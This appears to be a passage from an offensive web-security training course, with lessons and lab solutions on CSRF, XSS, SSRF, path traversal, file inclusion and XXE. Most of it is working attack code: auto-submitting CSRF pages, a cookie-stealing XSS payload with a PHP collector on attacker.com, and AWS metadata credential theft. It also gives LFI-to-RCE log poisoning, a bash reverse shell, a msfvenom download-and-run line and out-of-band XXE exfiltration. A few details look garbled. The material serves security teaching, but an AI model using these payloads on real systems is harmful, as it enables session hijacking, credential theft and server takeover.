# Vulnerable: Predictable tokens
token = str(session['user_id']) + '-' + str(timestamp)
# Attacker can generate valid tokens for other users

Token not validated on all endpoints:

# Vulnerable: Some endpoints don't validate
@app.route('/api/delete-account', methods=['POST'])
def delete_account():
    # Missing token validation!
    user.delete()
    return "Deleted"

CSRF token not checked for GET requests:

# Vulnerable: GET requests change state
@app.route('/api/transfer')
def transfer():
    # CSRF token only checked on POST, but this is GET
    amount = request.args.get('amount')
    account = request.args.get('to')
    # Process transfer - no token check!

CORS misconfiguration:

# Vulnerable: CORS allows cross-origin requests
@app.route('/api/transfer', methods=['POST'])
def transfer():
    # Any origin can make requests
    response.headers['Access-Control-Allow-Origin'] = '*'
    # Process transfer

Double Submit technique bypass: Some applications use double-submit patterns where the token is sent both as a cookie and as a request parameter. If the application doesn't validate the cookie value, an attacker can set the cookie via JavaScript.

GET vs POST CSRF: URL-Based vs Form-Based

CSRF attacks can be delivered through HTTP GET or POST requests, depending on how the target application processes requests.

GET CSRF: If a application uses GET requests for state-changing operations, the attack is trivially simple.

<!-- Trivial GET CSRF via image tag -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

<!-- Via script tag -->
<script src="https://bank.com/transfer?to=attacker&amount=10000"></script>

<!-- Via link -->
<a href="https://bank.com/transfer?to=attacker&amount=10000">Click here</a>

Proper implementation (GET should not modify state):

# Correct: GET only retrieves data
@app.route('/api/account/balance', methods=['GET'])
def get_balance():
    return {'balance': current_user.balance}

# Wrong: GET modifies state
@app.route('/api/transfer', methods=['GET'])
def transfer():
    # Never do this!
    process_transfer(request.args.get('to'), request.args.get('amount'))

POST CSRF via form:

<html>
<body>
<form id="csrf" action="https://target.com/api/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

POST CSRF via fetch:

<script>
fetch('https://target.com/api/transfer', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'to=attacker&amount=10000'
});
</script>

Multi-part form CSRF:

<form action="https://target.com/api/update-avatar" 
      method="POST" 
      enctype="multipart/form-data">
    <input type="file" name="avatar">
</form>
<script>document.forms[0].submit();</script>

JSON CSRF and Cross-Origin Resource Sharing

Modern web applications often use JSON for API requests, which changes the CSRF attack surface.

Traditional CSRF defense bypass:

<!-- This doesn't work for JSON APIs -->
<form action="https://api.target.com/user" method="POST">
    <input name='{"email": "attacker@evil.com"}'>
</form>

The content-type is not application/json, so traditional CSRF may not work.

JSON CSRF via XHR:

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://api.target.com/user', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send('{"email": "attacker@evil.com"}');
</script>

CORS-based JSON CSRF: If the target API has permissive CORS configuration:

<script>
fetch('https://api.target.com/user', {
    method: 'POST',
    mode: 'no-cors',  // Bypasses CORS checks
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: '{"email": "attacker@evil.com"}'
});
</script>

JSON CSRF via form with JSON content-type: Some applications accept JSON via traditional form submissions:

<form action="https://api.target.com/user" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>

The server must be configured to accept form-encoded data and parse it as JSON.

CORS misconfiguration exploitation:

# Vulnerable CORS configuration
@app.route('/api/transfer', methods=['POST'])
def transfer():
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    # Process request

An attacker can make requests from their domain if the API allows credentials with wildcard origin.

Real Example: Bank Transfer CSRF

Let's examine a realistic CSRF attack against a banking application.

Vulnerable banking application:

# Vulnerable Flask application
from flask import Flask, session, request, redirect

app = Flask(__name__)
app.secret_key = 'secret'

@app.route('/login')
def login():
    # Simple authentication
    session['user'] = request.form.get('username')
    return 'Logged in as ' + session['user']

@app.route('/transfer')
def transfer():
    # Vulnerable: No CSRF protection
    to_user = request.form.get('to')
    amount = request.form.get('amount')
    
    # Process transfer
    return f'Transferred {amount} to {to_user}'

@app.route('/')
def index():
    if 'user' in session:
        return f'<html><body>Welcome {session["user"]}</body></html>'
    return 'Please login'

Attack page:

<!DOCTYPE html>
<html>
<head>
    <title>You Won a Prize!</title>
</head>
<body>
<h1>Congratulations! You have won a $500 Amazon gift card.</h1>
<p>Click below to claim:</p>
<form id="attack" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="5000">
</form>
<script>
    // Auto-submit when page loads
    document.getElementById('attack').submit();
</script>
</body>
</html>

Attack flow:

  1. Attacker creates malicious page
  2. Victim is logged into bank.com
  3. Victim visits attacker's page
  4. Form auto-submits to bank.com/transfer
  5. Browser includes bank.com session cookie
  6. Bank processes transfer as legitimate

Real-world considerations:

  • User must be logged into the target site
  • User must visit the malicious page
  • Transfer may require confirmation
  • Bank may have additional verification
  • Attack is more convincing with proper social engineering

Proper CSRF protection:

import secrets

@app.route('/transfer-page')
def transfer_page():
    # Generate CSRF token
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    return f'''
    <form action="/transfer" method="POST">
        <input type="hidden" name="csrf_token" value="{session['csrf_token']}">
        To: <input name="to"><br>
        Amount: <input name="amount"><br>
        <button type="submit">Transfer</button>
    </form>
    '''

@app.route('/transfer', methods=['POST'])
def transfer():
    # Verify CSRF token
    token = request.form.get('csrf_token')
    if token != session.get('csrf_token'):
        return 'CSRF token invalid', 403
    
    # Process transfer
    return 'Transfer successful'

Exercise 5: Find and Exploit Reflected XSS

Objective

Find and exploit a reflected XSS vulnerability in the PortSwigger Academy "Reflected XSS where nothing is reflected" lab or DVWA (Damn Vulnerable Web Application).

Environment Setup

For this exercise, you will need:

  • Burp Suite Community or Professional
  • A browser configured to use Burp proxy
  • Access to PortSwigger Academy (free tier available) or DVWA installed locally

Instructions

Part 1: Identify the Reflection Point

  1. Navigate to the target lab: https://ac...id.web-security-academy.net
  2. Enter a unique test string (e.g., XSS_TEST_12345)
  3. Submit the search/request
  4. In Burp Proxy, examine the response
  5. Find where your test string appears in the HTML

Part 2: Analyze the Context

  1. Note the exact HTML context where your string appears
  2. Determine if it's in a tag, attribute, text content, or JavaScript
  3. Check if angle brackets are encoded
  4. Identify the exploitation approach

Part 3: Craft and Test Payload

  1. Based on context, craft an appropriate XSS payload
  2. For body context: <script>alert(document.domain)</script>
  3. For attribute context: try breaking out with quotes
  4. For JavaScript context: escape the string and inject

Part 4: Verify Execution

  1. Confirm the alert dialog appears
  2. Verify the domain is displayed correctly
  3. Document the exact URL and payload used

Deliverables:

  • Screenshot of the alert dialog
  • The full exploit URL
  • The context analysis explaining why the payload works
Solution

Lab URL: https://ac...id.web-security-academy.net

Step 1: Testing for reflection

Navigate to the lab and enter a test string like XSS_TEST_:

Request: GET /?search=XSS_TEST_ HTTP/1.1 Response contains: <span class="search-term">XSS_TEST_</span>

Step 2: Context analysis

The test string appears inside a <span> tag as text content:

<span class="search-term">XSS_TEST_</span>

We can break out of the span and inject a script tag:

</span><script>alert(document.domain)</script>

Step 3: Exploit URL

Full URL: https://ac...id.web-security-academy.net/?search=%3C%2Fspan%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Decoded: https://ac...id.web-security-academy.net/?search=</span><script>alert(document.domain)</script>

Step 4: Verification

When the victim clicks this link:

  1. Browser requests the URL
  2. Server reflects our payload in the response
  3. HTML becomes: <span class="search-term"></span><script>alert(document.domain)</script>
  4. Browser parses HTML, sees script tag
  5. Executes alert(document.domain)
  6. Lab is solved

Alternative payloads:

If you need shorter URLs, use event handlers:

https://ac...id.web-security-academy.net/?search="><svg onload=alert(document.domain)>

This creates: <span class="search-term"><svg onload=alert(document.domain)></span>

The svg onload executes JavaScript when the element loads.


Exercise 6: Exploit Stored XSS to Steal Session Cookies

Objective

Exploit a stored XSS vulnerability to steal victim users' session cookies. This exercise demonstrates the real-world impact of stored XSS.

Environment Setup

For this exercise, you will need:

  • Two browser profiles (one for attacker, one for victim)
  • Burp Suite for intercepting and inspecting requests
  • Access to PortSwigger Academy stored XSS lab or DVWA
  • A simple web server to receive stolen cookies (can use Burp Collaborator or a simple PHP script)

Instructions

Part 1: Set Up Cookie Capture Server

  1. Create a simple PHP script (steal.php) on a server you control:
<?php
$cookie = $_GET['cookie'];
$file = fopen('cookies.txt', 'a');
fwrite($file, $cookie . "\n");
fclose($file);
?>
  1. Alternatively, use Burp Collaborator for testing

Part 2: Identify Stored XSS Vector

  1. Navigate to the target application
  2. Find functionality that stores and displays content (comments, posts, profile)
  3. Test with basic payload: <script>alert(1)</script>
  4. Verify the payload executes when viewing stored content

Part 3: Craft Cookie Theft Payload

  1. Create payload that reads document.cookie
  2. Sends cookie to your server
  3. Payload: <script>document.location='https://yourserver.com/steal.php?cookie='+document.cookie</script>

Part 4: Deliver the Attack

  1. Submit the malicious payload through the stored XSS vector
  2. Wait for victims to view the content
  3. Check your server for received cookies

Part 5: Session Hijacking

  1. Use stolen cookie to impersonate victim
  2. In Burp Proxy, add the cookie to your request
  3. Access the victim's account

Deliverables:

  • Screenshot of stolen cookies received
  • The malicious payload used
  • Screenshot of session hijacking (accessing victim account)
Solution

Setup: Cookie Capture Server

Create a file called steal.php:

<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$timestamp = date('Y-m-d H:i:s');
$log = fopen('cookies.txt', 'a');
fwrite($log, "[$timestamp] $ip: $cookie\n");
fclose($log);
echo "OK";
?>

Host this on your server at https://attacker.com/steal.php

Lab: Stored XSS in Comments

Target: PortSwigger Academy stored XSS lab

Step 1: Identify the vector

Navigate to a blog post with comment section:

<form method="POST" action="/post/comment">
    <input name="comment">
    <button type="submit">Submit</button>
</form>

Step 2: Test basic XSS

Submit: <script>alert(1)</script>

View the blog post - alert executes.

Step 3: Craft cookie theft payload

Submit this as a comment:

<script>
    document.location='https://attacker.com/steal.php?cookie='+encodeURIComponent(document.cookie);
</script>

URL-encoded version:

%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2BencodeURIComponent%28document.cookie%29%3B%3C%2Fscript%3E

Step 4: Wait for victims

Every user who views the blog post will have their cookie sent to your server.

Step 5: Log file contents

When victims view the page, your cookies.txt will contain entries like:

[2024-01-15 10:30:45] 192.168.1.100: session=abc123xyz; user=alice
[2024-01-15 10:31:22] 192.168.1.101: session=def456uvw; user=bob

Step 6: Session hijacking

In Burp Suite, use the Cookie Editor extension or manually set the Cookie header:

Request:

GET /account HTTP/1.1
Host: target.com
Cookie: session=abc123xyz

You are now authenticated as the victim user.

Why this works:

  1. The comment is stored in the database
  2. When any user views the blog post, the server retrieves the comment
  3. The comment (containing our script) is included in the page HTML
  4. The user's browser parses the HTML, sees the script tag
  5. The script executes, sending the cookie to attacker.com
  6. The attacker uses the cookie to hijack the session

Mitigation (for reference):

The application should sanitize HTML before storage:

// Using HTML Purifier library
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_comment = $purifier->purify($dirty_comment);

Summary Table

Vulnerability Type Delivery Method Server Storage Detection Impact
Reflected XSS Client-side URL parameter No Reflected in response Cookie theft, defacement, keylogging
Stored XSS Server-side Form submission Yes (database) View stored content Mass cookie theft, persistent malware
DOM-based XSS Client-side URL fragment/hash No JavaScript analysis Cookie theft, page manipulation
CSRF Client-side Malicious page No Request analysis Unauthorized actions, account takeover

XSS Detection Payloads Quick Reference

Context Payload Notes
HTML body <script>alert(1)</script> Standard script injection
Inside tag </tag><script>alert(1)</script> Close tag first
Attribute " onload="alert(1) Break out of attribute
Event handler <img src=x onerror=alert(1)> Trigger on error
JavaScript ';alert(1);// Escape string context
SVG <svg onload=alert(1)> SVG element with onload
Encoded %3Cscript%3Ealert(1)%3C/script%3E URL encode bypass

CSRF Prevention Methods

Method Implementation Bypass via XSS?
Anti-CSRF token Server-generated random token Yes, if XSS exists
SameSite cookies Cookie attribute No (but can combine with XSS)
Double-submit Token in cookie AND parameter Sometimes
Custom header Verify X-Requested-With No (CORS blocks)
Referer check Verify HTTP Referer No (can be spoofed partially)

Key Differences: XSS vs CSRF

Aspect XSS CSRF
Executes code Yes (JavaScript) No (just triggers requests)
Can read page content Yes No (SOP blocks response reading)
Requires active session No Yes
Primary defense Output encoding, input validation Anti-CSRF tokens
Attacker's goal Execute code in victim's browser Force victim to send requests

Next Module Preview: SSRF, Path Traversal, LFI/RFI

In Module 4, we will explore server-side vulnerabilities that target the server's processing of user input.

Server-Side Request Forgery (SSRF): Exploiting applications that make HTTP requests based on user input. We'll cover:

  • SSRF fundamentals and impact
  • Port scanning via SSRF
  • Bypassing blacklist filters
  • Cloud metadata service exploitation
  • Lab: Exploiting SSRF in AWS EC2

Path Traversal: Manipulating file paths to access files outside the intended directory. We'll cover:

  • Directory traversal fundamentals
  • Null byte injection bypasses
  • Unicode normalization attacks
  • Double encoding bypasses
  • Lab: Reading sensitive system files

Local File Inclusion (LFI) and Remote File Inclusion (RFI): Including files in the application's execution context. We'll cover:

  • LFI vs RFI distinction
  • Log poisoning for RCE
  • PHP wrapper exploitation
  • Python/JAVA include vulnerabilities
  • Lab: LFI to RCE via log poisoning

These vulnerabilities represent critical attack vectors that can lead to complete server compromise, and understanding them is essential for comprehensive web application security testing.


Additional Resources

Learning Platforms:

  • PortSwigger Academy (portswigger.net/web-security)
  • OWASP WebGoat
  • DVWA (Damn Vulnerable Web Application)
  • HackTheBox

Tools:

  • Burp Suite Professional
  • OWASP ZAP
  • XSStrike (XSS detection)
  • Amass (subdomain enumeration)

Reference Materials:

  • OWASP XSS Prevention Cheat Sheet
  • PortSwigger XSS Research
  • Mozilla Developer Network (MDN) JavaScript documentation
  • HTML5 Security Cheat Sheet

Module 3 completed. Continue to Module 4: SSRF, Path Traversal, and File Inclusion vulnerabilities.

Module 4: SSRF, Path Traversal, LFI/RFI, XXE

Lesson 16: Server-Side Request Forgery (SSRF)

What is SSRF?

Server-Side Request Forgery occurs when a web application fetches user-supplied URLs without proper validation. The server acts as a proxy — requests originate from the server's network position, not the attacker's.

Why it matters:

  • Can reach internal services unreachable from the internet
  • AWS metadata at 169.254.169.254
  • Internal databases, Redis, Memcached
  • Port scanning internal network from the server's perspective
  • Reading local files via file:// protocol

Classic SSRF Scenarios

1. Image URL preview:

// Vulnerable code
$image_url = $_GET['url'];
$image = file_get_contents($image_url);
// OR
$image = new Imagick($image_url);

2. Webhook functionality:

# Vulnerable code
import requests
webhook_url = request.form['webhook']
requests.get(webhook_url)  # Server fetches attacker's URL

3. PDF generation:

// Vulnerable code
String url = request.getParameter("url");
PdfGenerator.generateFromUrl(url);  // Server fetches and renders

4. URL shortening redirect:

// Vulnerable code
$redirect_url = $_GET['url'];
header("Location: $redirect_url");

Finding SSRF

Common parameter names:

url, uri, src, source, sourceURL, srcURL, dest, destination, redirect, path, port, callback, next, data, xml, val, validate, domain, feed, host, url, user, name, connect, q, out, search, target, to, uri, validate

Test payloads:

http://localhost/
http://127.0.0.1/
http://[::1]/
http://localhost:22/
http://localhost:6379/
http://169.254.169.254/
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
dict://localhost:11211/stats
sftp://localhost:22/
ldap://localhost:389/
gopher://localhost:6379/_INFO

Filter Bypass Techniques

Localhost bypass:

localhost
127.0.0.1
127.1
[::1]
0x7f000001
2130706433
127.0.0.1.xip.io
localdomain

DNS resolution tricks:

127.0.0.1.nip.io
127.0.0.1.sslip.io
localhost.attacker.com  → A record points to 127.0.0.1

URL parsing bypass:

http://localhost:80@127.0.0.1/
http://127.0.0.1:80@localhost/
http://127.0.0.1#localhost/
http://127.0.0.1?localhost/

IPv6:

[0:0:0:0:0:0:0:1]
[::1]

Encoding:

http://%31%32%37%2e%30%2e%30%2e%31/
http://2130706433/
http://0x7f000001/

PortSwigger Lab: SSRF against In-House API

Lab description: Product stock checker fetches data from an internal API at http://localhost:8080. Goal: access the admin panel at http://localhost:8080/admin.

Step 1: Find the SSRF endpoint Stock check feature at /product/stock — POST parameter stockApi:

POST /product/stock
stockApi=http://localhost:8080/admin/delete?productId=1

Step 2: Test basic SSRF

POST /product/stock
stockApi=http://localhost:8080/admin
→ Response: "Invalid product ID" (admin panel exists but needs different access)

Step 3: Enumerate admin endpoints

POST /product/stock
stockApi=http://localhost:8080/admin/
→ 401 Unauthorized (requires auth)

POST /product/stock
stockApi=http://localhost:8080/admin/delete?productId=1
→ 200 OK with "Product deleted" or similar

Step 4: Extract admin credentials

POST /product/stock
stockApi=http://localhost:8080/admin/users
→ Lists user IDs and password hashes

POST /product/stock
stockApi=http://localhost:8080/api/v1/users
→ Alternative API endpoint

SSRF to AWS Metadata

# Latest instance metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/public-ipv4

# AWS keys (if IAM role attached)
http://169.254.169.254/latest/meta-data/iam/security-credentials/AwsInstanceRole
→ Returns: AccessKeyId, SecretAccessKey, Token

Exploitation:

# Use AWS keys to:
aws s3 ls  # List S3 buckets
aws ec2 describe-instances  # List EC2 instances
aws --region us-east-1 s3 sync s3://victim-bucket/ /tmp/dump/

Blind SSRF

When the response isn't returned, use out-of-band techniques:

DNS exfiltration:

http://attacker.com/$(whoami).dns
http://attacker.com/?x=$(cat /etc/passwd)

Collaborator Everywhere (Burp extension):

  • Automatically inserts Collaborator payloads into all requests
  • Any out-of-band interaction gets flagged

Detection via time delays:

http://169.254.169.254/latest/meta-data/  # If slow response → SSRF confirmed

Lesson 17: Path Traversal

What is Path Traversal?

Path traversal (also called directory traversal) allows attackers to escape the intended directory and access files outside the web root. It occurs when user input is used in file paths without proper sanitization.

Vulnerable code:

include($_GET['page']);  // ?page=../../etc/passwd
with open(f"/var/www/uploads/{filename}") as f:
    content = f.read()

Detection Payloads

Unix:

../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
..%c0%af..%c0%af..%c0%afetc/passwd

Windows:

..\..\..\windows\system32\config\sam
..%255c..%255c..%255cwindows\system32\config\sam
..%c0%af..%c0%af..%c0%afwindows\system32\config\sam

Double encoding: The %252f becomes / after double decoding.

UTF-8 encoding: %c0%af is an overlong UTF-8 encoding of /.

Null Byte Injection

../../etc/passwd%00.jpg

The null byte (%00) truncates the string at that point, effectively removing .jpg extension. Works in older PHP versions.

Testing in Burp Intruder

  1. Find a file path parameter
  2. Send to Intruder
  3. Use pitchfork with wordlist and target parameter
  4. Fuzz with path traversal payloads
  5. Look for /etc/passwd content in response (root:x:0:0:...)

Wordlist for fuzzing:

# /usr/share/wordlists/dirb/special_characters.txt
# /usr/share/wordlists/wfuzz/Injection技

Path Truncation Bypass

PHP historically truncated paths at 4096 bytes:

../../../../[truncated to 4096]../../../etc/passwd

Modern PHP 5.3.4+ fixed this.

Real-World Example: Apache Struts CVE-2014-0050

GET /struts2-rest-showcase/orders/3;boundary=xxxxx HTTP/1.1
Content-Type: multipart/form-data; boundary=xxxxx
Content-Length: 999999

--xxxxx
Content-Disposition: form-data; name="upl"; filename="xx"
Content-Type: text/plain

../../../../../../../../../../etc/passwd
--xxxxx--

Lesson 18: Local File Inclusion (LFI)

What is LFI?

LFI occurs when a PHP (or similar) application includes a file based on user input without proper sanitization. Unlike RFI, the file is local to the server.

Vulnerable code:

<?php
$page = $_GET['page'];
include($page);  // ?page=../../etc/passwd
?>
<jsp:include page="<%= request.getParameter('page') %>">

PHP Wrappers — The Exploitation Toolkit

1. php://filter (read source code without execution):

?page=php://filter/convert.base64-encode/resource=index.php

Returns base64-encoded source of index.php. Decode to read source.

?page=php://filter/string.toupper/resource=index.php

2. php://input (RCE if allow_url_include is on):

POST ?page=php://input
<?php system($_GET['cmd']); ?>

3. expect:// wrapper (RCE if PHP expect extension enabled):

?page=expect://whoami

Direct command execution — rare but devastating.

4. file:// wrapper (read any accessible file):

?page=file:///etc/passwd

5. zip:// wrapper (execute uploaded PHP zip):

?page=zip://archive.zip#shell.php

LFI to RCE: Log Poisoning

Technique: Inject PHP code into server logs, then include the log file.

Step 1: Find log location

/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/httpd/access_log
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2

Step 2: Inject payload via User-Agent

curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

Step 3: Include the log

GET /?page=/var/log/apache2/access.log&cmd=whoami

Step 4: RCE

GET /?page=/var/log/apache2/access.log&cmd=id

LFI to RCE: Session Poisoning

Technique: Write PHP code to session file, then include session file.

Step 1: Find session file location

session.save_path = /var/lib/php/sessions/
session.save_path = /tmp

Step 2: Determine session filename

// PHP default: PHPSESSID value → sess_PHPSESSID
sess_abc123def456

Step 3: Write payload to session via PHP code in page parameter

GET /?page=<?php system($_GET['cmd']); ?>

But wait — you need to write via the application's own parameters, not the file parameter.

Actually: Many apps store user-controlled data in sessions (like username):

$_SESSION['username'] = $_POST['username'];

Register with username containing PHP code, then include session file.

Step 4: Poll session file and include

GET /?page=/var/lib/php/sessions/sess_abc123def456&cmd=whoami

Filter Bypass for LFI

Null byte:

?page=../../etc/passwd%00

Path double encoding:

?page=..%252f..%252f..%252fetc%252fpasswd

Path truncation:

?page=../../../../../../../../../../../etc/passwd

(Long chain of ../ sometimes bypasses filters that strip ../)

fopen wrapper:

?page=safe://../../etc/passwd

Real path truncation (old PHP):

?page=../../etc/passwd.[NULL BYTE WAS HERE]

Lesson 19: Remote File Inclusion (RFI)

What is RFI?

RFI occurs when a web application includes a remote file from a URL provided by the user. This almost always leads to Remote Code Execution.

Vulnerable code:

<?php
$style = $_GET['style'];
include($style);  // ?style=http://attacker.com/malicious.txt
?>

Requirements:

  • allow_url_fopen = On (PHP default)
  • allow_url_include = On (PHP default was On before 5.2)

RFI Exploitation

Step 1: Host malicious PHP on attacker server

<?php
// malicious.php on attacker.com
system($_GET['cmd']);
?>

Step 2: Include it

GET /?style=http://attacker.com/malicious.php&cmd=whoami

Step 3: RCE confirmed

GET /?style=http://attacker.com/malicious.php&cmd=id

RFI with Data URI (PHP 5.2+)**

<?php
// Instead of remote file, use data:// wrapper
include($_GET['page']);
?>
GET /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

Base64 decodes to: <?php system($_GET['cmd']);?>

RFI Limitations

  1. Network connectivity from server required
  2. allow_url_include must be On (off by default in PHP 5.2+)
  3. Some networks block outbound HTTP
  4. PHP stream wrappers may not handle complex payloads

Lesson 20: XML External Entity (XXE)

What is XXE?

XXE exploits XML parsers that process external entities. An attacker can:

  • Read local files
  • Perform SSRF
  • Execute commands (in files supported)
  • Denial of Service (billion laughs attack)

Vulnerable code:

<?php
$xml = simplexml_load_string($_GET['xml']);
?>
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Basic XXE: Read Local Files

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Parsing this XML returns /etc/passwd content.

XXE with Parameter Entities

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY % trick "<!ENTITY send SYSTEM 'http://attacker.com/?x=%xxe;'>">
  %trick;
]>
<foo>&send;</foo>

Parameter entities (%xxe) can be defined and used within DTD.

Blind XXE (Out-of-Band)

When the parser doesn't return data in the response:

Step 1: Attacker-controlled DTD on their server

<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % callhome "<!ENTITY send SYSTEM 'http://attacker.com/?x=%xxe;'>">

Step 2: Reference it from vulnerable XML

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd">
  %remote;
]>
<foo>&send;</foo>

Step 3: Attacker receives /etc/passwd in their server logs

Billion Laughs (DoS Attack)

<?xml version="1.0"?>
<!DOCTYPE lol [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Expands exponentially: 10 × 10 × 10 = 1000 entities, each referencing 10 of previous.

XXE to RCE (expect:// Wrapper)

If the expect PHP extension is enabled:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://whoami">
]>
<foo>&xxe;</foo>

PortSwigger Lab: XXE to Read Local Files

Lab: Product catalog parses XML. Goal: read /etc/hostname.

Step 1: Find XML input POST to /product/stock with XML body:

<?xml version="1.0"?>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

Step 2: Inject XXE to read file

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Step 3: Response contains hostname

<stockCheck>
  <productId>stock-manager</productId>
  <storeId>1</storeId>
</stockCheck>

Exercise 7: SSRF to AWS Metadata Extraction

Objective: Exploit SSRF in an image URL preview feature to extract AWS credentials.

Lab: PortSwigger "SSRF with whitelist-based input filter"

Steps:

  1. Identify the SSRF endpoint: stockApi parameter in /product/stock
  2. The parameter has a whitelist filter — only allows localhost and stock.weliketoshop.net
  3. Bypass: Use localhost@stock.weliketoshop.net or similar trick
  4. Actually, the lab solution uses stock.weliketoshop.net@127.0.0.1
  5. Extract credentials:
# In Burp Repeater:
POST /product/stock HTTP/1.1
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  1. The response contains AWS access key and secret
  2. Use AWS CLI with those credentials to list S3 buckets:
aws configure set aws_access_key_id AKIA...
aws configure set aws_secret_access_key ...
aws s3 ls

Expected output: AWS credentials and S3 bucket listing

Solution

Bypass technique: The whitelist check was:

if url.startswith("http://stock.weliketoshop.net"):
    # allow

But URL parsing in Python:

from urllib.parse import urlparse
urlparse("http://stock.weliketoshop.net@127.0.0.1/")
# Netloc: stock.weliketoshop.net@127.0.0.1
# Hostname: stock.weliketoshop.net

The @ separates userinfo from host. The hostname is stock.weliketoshop.net (passes whitelist), but the actual target is 127.0.0.1.

Full exploit in Repeater:

POST /product/stock HTTP/1.1
Host: ace11.example.com
stockApi=http://stock.weliketoshop.net@127.0.0.1/latest/meta-data/iam/security-credentials/

Response contains: AwsInstanceRole with AccessKeyId, SecretAccessKey, Token.


Exercise 8: LFI to RCE via Log Poisoning

Objective: Exploit LFI to gain shell access via Apache access log poisoning.

Setup: Target has LFI at http://target.com/index.php?page=. Apache log at /var/log/apache2/access.log is accessible.

Steps:

  1. Verify LFI is accessible:
GET /index.php?page=../../../../etc/passwd
→ Returns /etc/passwd content
  1. Confirm log location (try common paths):
GET /index.php?page=../../../../var/log/apache2/access.log
→ Returns log content with User-Agent, IPs, timestamps
  1. Inject PHP payload via User-Agent header:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
  1. Verify injection in log:
GET /index.php?page=../../../../var/log/apache2/access.log
→ Should see your User-Agent containing PHP code
  1. Execute commands:
GET /index.php?page=../../../../var/log/apache2/access.log&cmd=whoami
→ root
  1. Get reverse shell:
GET /index.php?page=../../../../var/log/apache2/access.log&cmd=bash -i >& /dev/tcp/attacker.com/4444 0>&1
  1. On attacker box:
nc -lvnp 4444
→ Shell connection established

Expected output: Interactive shell as www-data

Solution

Step-by-step verification:

  1. LFI test:
GET /index.php?page=../../../../etc/passwd
HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
  1. Log poisoning:
$ curl -A "<?php phpinfo(); ?>" http://target.com/
  1. Verify in log:
GET /index.php?page=../../../../var/log/apache2/access.log
...
127.0.0.1 - - [14/Jun/2026:10:00:00 +0000] "GET / HTTP/1.1" 200 1234 "-" "<?php phpinfo(); ?>"
  1. RCE:
GET /index.php?page=../../../../var/log/apache2/access.log&cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  1. Upgrade to meterpreter:
# On attacker
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f elf > shell.elf
python3 -m http.server 8080
# Target: curl http://attacker.com:8080/shell.elf -o /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf

Summary Table

Lesson Topic Key Technique Impact
16 SSRF URL fetch to internal services Read AWS creds, internal port scan
17 Path Traversal ../ in file paths Read any readable file
18 LFI Include local files via wrappers LFI to RCE via log/session poisoning
19 RFI Include remote PHP files Direct RCE
20 XXE External entity in XML File read, SSRF, DoS

Quick Reference: SSRF Filter Bypass Cheat Sheet

Bypass Payload
localhost localhost
IPv4 127.0.0.1, 127.1, 2130706433
IPv6 [::1], [0:0:0:0:0:0:0:1]
DNS rebinding attacker.com → A points to 127.0.0.1
URL parsing http://localhost@127.0.0.1/
Overlong UTF-8 0x7f000001 → 127.0.0.1
URL encode %32%37%2e%30%2e%30%2e%31

Next Module: Command Injection, File Upload vulnerabilities, and IDOR. We'll cover webshell deployment and privilege escalation via direct object references.

Module 5: Command Injection, File Upload, Race Conditions, IDOR

Lesson 21: Command Injection

What is Command Injection?

